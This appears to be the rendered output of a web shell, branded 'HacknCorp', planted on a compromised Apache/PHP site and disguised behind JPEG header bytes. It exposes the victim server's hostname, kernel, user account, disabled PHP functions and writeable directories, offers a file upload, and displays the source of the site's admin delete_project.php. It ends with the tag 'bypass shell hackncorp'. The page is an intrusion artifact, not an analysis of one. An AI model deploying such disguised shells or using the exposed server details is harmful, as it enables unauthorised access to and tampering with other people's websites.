ÿØÿàJFIF``ÿáfExifMM*‡i>ê 2êê Pêÿþ?CREATOR: gd-jpeg v1.0 (usi .
HacknCorp.id
Server : Apache
System : Linux gains.enterpriseappscloud.com 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64
User : beyondlimi ( 2438)
PHP Version : 7.4.33
Disable Function : allow_url_include, show_source, symlink, system, passthru, exec, popen, pclose, proc_open, proc_terminate,proc_get_status, proc_close, proc_nice, allow_url_fopen, shell-exec, shell_exec, fpassthru, base64_encodem, escapeshellcmd, escapeshellarg, crack_check,crack_closedict, crack_getlastmessage, crack_opendict, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, dl, escap, phpinfo
Directory :  /home/beyondlimi/public_html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/beyondlimi/public_html/admin/delete_project.php
<?php
session_start();
include 'db.php';

if (!isset($_SESSION['admin'])) {
    header("Location: index.php");
    exit();
}

$id = intval($_GET['id'] ?? 0);

if ($id <= 0) {
    die("Invalid Project ID");
}

// Optionally delete image file from folder
$project = $conn->query("SELECT project_image FROM projects WHERE id = $id")->fetch_assoc();
if ($project && !empty($project['project_image'])) {
    $file_path = "uploads/" . $project['project_image'];
    if (file_exists($file_path)) {
        unlink($file_path);
    }
}

// Delete project record
$sql = "DELETE FROM projects WHERE id = $id";

if ($conn->query($sql)) {
    header("Location: allprojects.php?success=deleted");
} else {
    echo "Error deleting project: " . $conn->error;
}
?>

bypass shell hackncorp